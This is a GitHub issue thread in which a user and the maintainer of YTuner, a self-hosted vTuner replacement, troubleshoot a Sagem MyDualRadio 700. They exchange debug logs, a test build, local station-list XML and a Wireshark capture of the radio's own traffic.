Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Trying your great software with a Vtuner webradio #53

Open
Broukmiken opened this issue Jan 25, 2025 · 53 comments
Open

Trying your great software with a Vtuner webradio #53

Broukmiken opened this issue Jan 25, 2025 · 53 comments
Labels
help wanted Extra attention is needed

Comments

@Broukmiken
Copy link

Broukmiken commented Jan 25, 2025

hello,
i'm using an old Sagem MyDualRadio 700 that was working great till few days.
It's based on vtuner for web radios.

i use your windows version
the pc's ip running your app is 192.168.1.2
i set port forwarding 80 and 53 on this PC both tcp and udp
i set the 2 DNS on the hardware to 192.168.1.2 and also the gateway

there was old favourites on mydualradio and i can listen them (so no issue with the LAN)
but when i try to browse internet radios using vtuner i think, here is the debug

YTuner v1.2.4 Copyright (c) 2024 Greg P. (https://github.com/coffeegreg)
25/01/2025 19:06:18 : Inf : Starting services...
25/01/2025 19:06:18 : Inf : Successfully loaded 10 my stations.
25/01/2025 19:06:18 : Dbg : Database library : 3.45.0.
25/01/2025 19:06:18 : Inf : Checking local database.
25/01/2025 19:06:19 : Inf : Local database is ready.
25/01/2025 19:06:19 : Inf : DNS Service: listening on: 192.168.1.2:53.
25/01/2025 19:06:19 : Inf : Web Service: listening on: 192.168.1.2:80.
25/01/2025 19:06:42 : Dbg : DNS Query intercept : amit.vtuner.com.
25/01/2025 19:06:42 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
25/01/2025 19:06:43 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 19:06:44 : Dbg : Unknown route : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.

i can see on my harware your menu with the 4 items but when i select one every list is empty

i know it's written for AV's hardware but i hope your software could work on mine

thank you if you can help.

Image

@coffeegreg
Copy link
Owner

coffeegreg commented Jan 25, 2025

Hi @Broukmiken
What did you select/press on your Sagem MyDualRadio 700 that caused the line

 Unknown route : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.

to be generated in the YTuner's log?

Edit: Try to browse each one of 4 main menu items and attach console log dump once again. This problem can probably be easily fixed.

@Broukmiken
Copy link
Author

Broukmiken commented Jan 25, 2025

thank you so much answering, hope you can solve the issue...

I found on a forum that the login page was:
http://sagem.vtuner.com/setupapp/amit/asp/AuthLogin/SignIn.asp

I use all default config files, except i set debug mode
so here is the log of each 4 item launched : in this order:
Ytuner
Favorites
My stations
Radio browser

YTuner v1.2.4 Copyright (c) 2024 Greg P. (https://github.com/coffeegreg)
25/01/2025 23:37:23 : Inf : Starting services...
25/01/2025 23:37:23 : Inf : Successfully loaded 10 my stations.
25/01/2025 23:37:23 : Dbg : Database library : 3.45.0.
25/01/2025 23:37:23 : Inf : Checking local database.
25/01/2025 23:37:23 : Inf : Local database is ready.
25/01/2025 23:37:23 : Inf : DNS Service: listening on: 192.168.1.2:53.
25/01/2025 23:37:23 : Inf : Web Service: listening on: 192.168.1.2:80.
25/01/2025 23:38:13 : Dbg : DNS Query intercept : amit.vtuner.com.
25/01/2025 23:38:13 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
25/01/2025 23:38:13 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 23:38:16 : Dbg : Unknown route : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 23:38:20 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 23:38:22 : Dbg : Unknown route : GET //192.168.1.2/ytuner/bookmark?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 23:38:27 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 23:38:28 : Dbg : Unknown route : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 23:38:33 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 23:38:35 : Dbg : Unknown route : GET //192.168.1.2/ytuner/radiobrowser?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
25/01/2025 23:38:40 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.

Here comes few screenshots
Like you can see, titles are troncated (not correctly formated) and each item selected has an issue : nothing appears

Screenshot_20250126_001733_Gallery.jpg

Screenshot_20250126_001905_Gallery.jpg

Screenshot_20250126_001919_Gallery.jpg

Screenshot_20250126_001940_Gallery.jpg

Screenshot_20250126_001959_Gallery.jpg

@coffeegreg
Copy link
Owner

@Broukmiken
The behavior of your Sagem MyDualRadio 700 is quite strange 🤔 and is different from all AVRs that YTuner has supported so far. Try the fix below and let me know about results.

ytuner-1.2.5-alpha-2-fix53-1-x86_64-win64.zip

This is a temporary and "dirty" fix that should give me an answer as to whether my ideas for operating your device are going in the right way. 👍

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

thank you so much taking time to my issue.
here is the log: with all config files by default (i haven't changed anything)

YTuner v1.2.5 alpha2 + Fix (issue #53) Attempt#1 Copyright (c) 2024 Greg P. (https://github.com/coffeegreg)
26/01/2025 12:46:15 : Inf : Starting services...
26/01/2025 12:46:15 : Inf : Successfully loaded 10 my stations.
26/01/2025 12:46:15 : Dbg : Database library : 3.45.0.
26/01/2025 12:46:15 : Inf : Checking local database.
26/01/2025 12:46:15 : Inf : Local database is ready.
26/01/2025 12:46:15 : Inf : DNS Service: listening on: 192.168.1.2:53.
26/01/2025 12:46:15 : Inf : Web Service: listening on: 192.168.1.2:80.
26/01/2025 12:46:20 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:23 : Dbg : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:27 : Dbg : GET //192.168.1.2/ytuner/empty?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:29 : Dbg : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:32 : Dbg : GET //192.168.1.2/ytuner/empty?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:36 : Dbg : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:38 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:40 : Dbg : GET //192.168.1.2/ytuner/bookmark?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:40 : Dbg : First element of page with index: "-1"?.
26/01/2025 12:46:40 : Dbg : Last element of page with index: "-1".
26/01/2025 12:46:47 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:50 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:50 : Dbg : First element of page with index: "-1"?.
26/01/2025 12:46:50 : Dbg : Last element of page with index: "-1".
26/01/2025 12:46:52 : Dbg : GET //192.168.1.2/ytuner/mystations/Dance?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:52 : Dbg : First element of page with index: "-1"?.
26/01/2025 12:46:52 : Dbg : Last element of page with index: "-1".
26/01/2025 12:46:56 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:56 : Dbg : First element of page with index: "-1"?.
26/01/2025 12:46:56 : Dbg : Last element of page with index: "-1".
26/01/2025 12:46:57 : Dbg : GET //192.168.1.2/ytuner/mystations/Pop%20Music?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:57 : Dbg : First element of page with index: "-1"?.
26/01/2025 12:46:57 : Dbg : Last element of page with index: "-1".
26/01/2025 12:46:59 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:46:59 : Dbg : First element of page with index: "-1"?.
26/01/2025 12:46:59 : Dbg : Last element of page with index: "-1".
26/01/2025 12:47:02 : Dbg : GET //192.168.1.2/ytuner/mystations/Rock?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:47:02 : Dbg : First element of page with index: "-1"?.
26/01/2025 12:47:02 : Dbg : Last element of page with index: "-1".
26/01/2025 12:47:03 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:47:03 : Dbg : First element of page with index: "-1"?.
26/01/2025 12:47:03 : Dbg : Last element of page with index: "-1".
26/01/2025 12:47:05 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:47:07 : Dbg : GET //192.168.1.2/ytuner/radiobrowser?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 12:47:22 : Dbg : GET //192.168.1.2/ytuner/radiobrowser/genre?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.

20250126_124415.jpg

20250126_124434.jpg

20250126_124443.jpg

20250126_124457.jpg

@coffeegreg
Copy link
Owner

Yes ... It's better 👍 I need to think ... 🤔

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

Yes, thank you, i can now see something.

It's not the most important now, but when i seletect a webradio, nothing happens.
Take your time , i hope you will find the way to make it work 😁

20250126_130810.jpg

26/01/2025 13:13:08 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
26/01/2025 13:13:08 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:13:12 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:13:12 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:13:12 : Dbg : Last element of page with index: "-1".
26/01/2025 13:13:16 : Dbg : GET //192.168.1.2/ytuner/mystations/Pop%20Music?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:13:16 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:13:16 : Dbg : Last element of page with index: "-1".

@coffeegreg
Copy link
Owner

What is the YTuner's log entry when you try to select/play one of those dispaled radio stations?

@Broukmiken
Copy link
Author

26/01/2025 13:13:08 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
26/01/2025 13:13:08 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:13:12 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:13:12 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:13:12 : Dbg : Last element of page with index: "-1".
26/01/2025 13:13:16 : Dbg : GET //192.168.1.2/ytuner/mystations/Pop%20Music?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:13:16 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:13:16 : Dbg : Last element of page with index: "-1".

@coffeegreg
Copy link
Owner

Anything after :

26/01/2025 13:13:16 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:13:16 : Dbg : Last element of page with index: "-1".

and selecting one of radio station ❓

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

nothing
i select one radio, wait many seconds, nothing launch, no sound... the log is no less no more than what i wrote you

each radio produce the same log as you can see :

26/01/2025 13:23:37 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:23:37 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:23:37 : Dbg : Last element of page with index: "-1".
26/01/2025 13:23:38 : Dbg : GET //192.168.1.2/ytuner/mystations/Dance?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:23:38 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:23:38 : Dbg : Last element of page with index: "-1".
26/01/2025 13:24:04 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:24:04 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:24:04 : Dbg : Last element of page with index: "-1".
26/01/2025 13:24:05 : Dbg : GET //192.168.1.2/ytuner/mystations/Pop%20Music?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 13:24:05 : Dbg : First element of page with index: "-1"?.
26/01/2025 13:24:05 : Dbg : Last element of page with index: "-1".

@coffeegreg
Copy link
Owner

You are skilled enough to run Wireshark and try catch all outgoing TCP frames from your MyDualRadio?
I'm interested in what addresses your device wants to connect to if it gets the correct ones from YTuner. MyDualRadio probably modifies them in a way that's unique to it, just like it modifies the links to YTuner enpoints by adding the YTuner IP address ("//192.168.1.2") completely unnecessarily. Other AVRs I know don't do that... 🤔

@Broukmiken
Copy link
Author

do you think i can run Wireshark on my PC and sniff all traffics from my Mydualradio ?

@coffeegreg
Copy link
Owner

coffeegreg commented Jan 26, 2025

do you think i can run Wireshark on my PC and sniff all traffics from my Mydualradio ?

That's right 👍 You can help yourself and other users of Sagem MyDualRadio 700 👍
Your Mydualradio has to be in the same LAN (192.168.1.x) subnet. You didn't write IP address of your Mydualradio device.

In the meantime, use your web browser and try :

http://192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333

and you should see categries from stations.ini file.

http://192.168.1.2/ytuner/mystations/Dance?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333

and you should see radio stations from "Dance" category from stations.ini file.

Pay attention to the protocol http, not https. Leave untouched Protocol=all-as-http in your avr.ini file.

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

my dualradio is in the same LAN 192.168.1.14
PC running your server is 192.168.1.2

when your server is running,
http://192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333
in firefox or chrome gime me this :

This XML file does not appear to have any style information associated with it. The document tree is shown below.

Image

and the log:

26/01/2025 14:38:58 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:38:58 : Dbg : Last element of page with index: "-1".
26/01/2025 14:39:10 : Dbg : GET /ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:39:10 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:39:10 : Dbg : Last element of page with index: "-1".
26/01/2025 14:39:26 : Dbg : GET /ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:39:26 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:39:26 : Dbg : Last element of page with index: "-1".

@coffeegreg
Copy link
Owner

With second link you should get :

<ListOfItems>
<ItemCount>4</ItemCount>
<Item>
<ItemType>Station</ItemType>
<StationId>MS_534A591AB545</StationId>
<StationName>FFH - Eurodance</StationName>
<StationUrl>http://mp3.ffh.de/ffhchannels/hqeurodance.mp3</StationUrl>
<StationDesc>My favorite "FFH - Eurodance"</StationDesc>
<Logo>http://192.168.1.30/ytuner/icon?id=MS_534A591AB545</Logo>
<StationFormat>dance</StationFormat>
<StationLocation/>
<StationBandWidth/>
<StationMime/>
<Relia>3</Relia>
<Bookmark>
http://192.168.1.30/setupapp/favxml.asp?id=MS_534A591AB545&fav=add
</Bookmark>
</Item>
<Item>
<ItemType>Station</ItemType>
<StationId>MS_4D340EF72C00</StationId>
<StationName>Splash 90s Dance</StationName>
<StationUrl>http://c6.auracast.net/radio/8090/radio.mp3</StationUrl>
<StationDesc>My favorite "Splash 90s Dance"</StationDesc>
<Logo>http://192.168.1.30/ytuner/icon?id=MS_4D340EF72C00</Logo>
<StationFormat>dance</StationFormat>
<StationLocation/>
<StationBandWidth/>
<StationMime/>
<Relia>3</Relia>
<Bookmark>
http://192.168.1.30/setupapp/favxml.asp?id=MS_4D340EF72C00&fav=add
</Bookmark>
</Item>
......

You can see line:
<StationUrl>http://mp3.ffh.de/ffhchannels/hqeurodance.mp3</StationUrl>
with real station URL.
Now, install and start Wireshark, start YTuner, start browsing with your MyDualRadio and select "FFH - Eurodance" from My stations and Dance category and filter TCP/HTTP frames outgoing from 192.168.1.14 with Wireshark and try to find out if MyDualRadio try to send http request to http://mp3.ffh.de/ffhchannels/hqeurodance.mp3 or ... somwhere else.

@Broukmiken
Copy link
Author

Broukmiken commented Jan 26, 2025

hope i have understood:
mydualradio with 192.168.1.14
your server's on my PC 192.168.1.2

i used Wireshark on my internet LAN, with filter:
ether host xx:xx:xx:xx:xx:xx <=== mac adress of the mydualradio

here is the screencapture of the http

Image

and your server's log

YTuner v1.2.5 alpha2 + Fix (issue #53) Attempt#1 Copyright (c) 2024 Greg P. (https://github.com/coffeegreg)
26/01/2025 14:46:45 : Inf : Starting services...
26/01/2025 14:46:45 : Inf : Successfully loaded 10 my stations.
26/01/2025 14:46:45 : Dbg : Database library : 3.45.0.
26/01/2025 14:46:45 : Inf : Checking local database.
26/01/2025 14:46:45 : Inf : Local database is ready.
26/01/2025 14:46:45 : Inf : DNS Service: listening on: 192.168.1.2:53.
26/01/2025 14:46:45 : Inf : Web Service: listening on: 192.168.1.2:80.
26/01/2025 14:47:10 : Dbg : DNS Query intercept : amit.vtuner.com.
26/01/2025 14:47:10 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
26/01/2025 14:47:11 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:47:12 : Dbg : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:47:14 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:47:16 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:47:16 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:47:16 : Dbg : Last element of page with index: "-1".
26/01/2025 14:47:17 : Dbg : GET //192.168.1.2/ytuner/mystations/Dance?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:47:17 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:47:17 : Dbg : Last element of page with index: "-1".
26/01/2025 14:54:12 : Dbg : Unknown route : GET /.
26/01/2025 14:54:47 : Dbg : DNS Query intercept : amit.vtuner.com.
26/01/2025 14:54:47 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
26/01/2025 14:54:47 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:54:49 : Dbg : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:54:50 : Dbg : GET //192.168.1.2/ytuner/empty?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:54:53 : Dbg : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:54:54 : Dbg : GET //192.168.1.2/ytuner/empty?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:02 : Dbg : GET //192.168.1.2/ytuner/about?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:03 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:05 : Dbg : GET //192.168.1.2/ytuner/bookmark?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:05 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:55:05 : Dbg : Last element of page with index: "-1".
26/01/2025 14:55:09 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:10 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:10 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:55:10 : Dbg : Last element of page with index: "-1".
26/01/2025 14:55:15 : Dbg : GET //192.168.1.2/ytuner/mystations/Dance?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:15 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:55:15 : Dbg : Last element of page with index: "-1".
26/01/2025 14:55:52 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:52 : Dbg : First element of page with index: "-1"?.
26/01/2025 14:55:52 : Dbg : Last element of page with index: "-1".
26/01/2025 14:55:53 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:55:55 : Dbg : GET //192.168.1.2/ytuner/radiobrowser?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:56:00 : Dbg : GET //192.168.1.2/ytuner/radiobrowser/genre?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 14:56:16 : Dbg : Unknown route : GET /192.1681tle>????%20???????&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:21 : Dbg : DNS Query intercept : amit.vtuner.com.
26/01/2025 15:03:21 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?token=0.
26/01/2025 15:03:22 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:24 : Dbg : GET //192.168.1.2/ytuner/bookmark?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:24 : Dbg : First element of page with index: "-1"?.
26/01/2025 15:03:24 : Dbg : Last element of page with index: "-1".
26/01/2025 15:03:27 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:28 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:28 : Dbg : First element of page with index: "-1"?.
26/01/2025 15:03:28 : Dbg : Last element of page with index: "-1".
26/01/2025 15:03:29 : Dbg : GET //192.168.1.2/ytuner/mystations/Dance?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:29 : Dbg : First element of page with index: "-1"?.
26/01/2025 15:03:29 : Dbg : Last element of page with index: "-1".
26/01/2025 15:03:34 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:34 : Dbg : First element of page with index: "-1"?.
26/01/2025 15:03:34 : Dbg : Last element of page with index: "-1".
26/01/2025 15:03:36 : Dbg : GET //192.168.1.2/ytuner/mystations/Rock?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:36 : Dbg : First element of page with index: "-1"?.
26/01/2025 15:03:36 : Dbg : Last element of page with index: "-1".
26/01/2025 15:03:42 : Dbg : GET //192.168.1.2/ytuner/mystations?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:42 : Dbg : First element of page with index: "-1"?.
26/01/2025 15:03:42 : Dbg : Last element of page with index: "-1".
26/01/2025 15:03:43 : Dbg : GET /setupapp/amit/asp/BrowseXML/loginXML.asp?mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:44 : Dbg : GET //192.168.1.2/ytuner/radiobrowser?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:03:47 : Dbg : GET //192.168.1.2/ytuner/radiobrowser/language?ytuner=true&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.
26/01/2025 15:04:06 : Dbg : Unknown route : GET //192.1681tle>vandalic&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.

@coffeegreg
Copy link
Owner

Try to cach TCP/HTTP frames (after select/click on"FFH - Eurodance") from 192.168.1.14 to ... http://mp3.ffh.de ... or .. any other destination IP address except 192.168.1.2. I suspect your device is directing the requests somewhere but not to http://mp3.ffh.de/ffhchannels/hqeurodance.mp3 because then you would probably hear the music... 🤔

@coffeegreg
Copy link
Owner

This one is suspected :

Image

half of IP Address and this ... "vandalic" ??? 😲 What the hell...
and

26/01/2025 14:56:16 : Dbg : Unknown route : GET /192.1681tle>????%20???????&mac=BABFCD376C5DCC7D3D9A37EEE55FAB0E&dlang=fre&fver=1.754333.

What did you press?

@Broukmiken
Copy link
Author

Try to cach TCP/HTTP frames (after select/click on"FFH - Eurodance") from 192.168.1.14 to ... http://mp3.ffh.de ... or .. any other destination IP address except 192.168.1.2. I suspect your device is directing the requests somewhere but not to http://mp3.ffh.de/ffhchannels/hqeurodance.mp3 because then you would probably hear the music... 🤔

nothing happens on wireshark : nothing is written
i select one radio, nothing captured, i then select another on in the list : nothing captured

@Broukmiken
Copy link
Author

here is what wireshark shows just when i go to your server's menu

Image

@coffeegreg
Copy link
Owner

It looks like your MyDualRadio use different communication XMLs than other AVRs. Probably your device does not quite understand reveived XML messages... a specially such as <StationUrl>http://mp3.ffh.de/ffhchannels/hqeurodance.mp3</StationUrl> 🤔
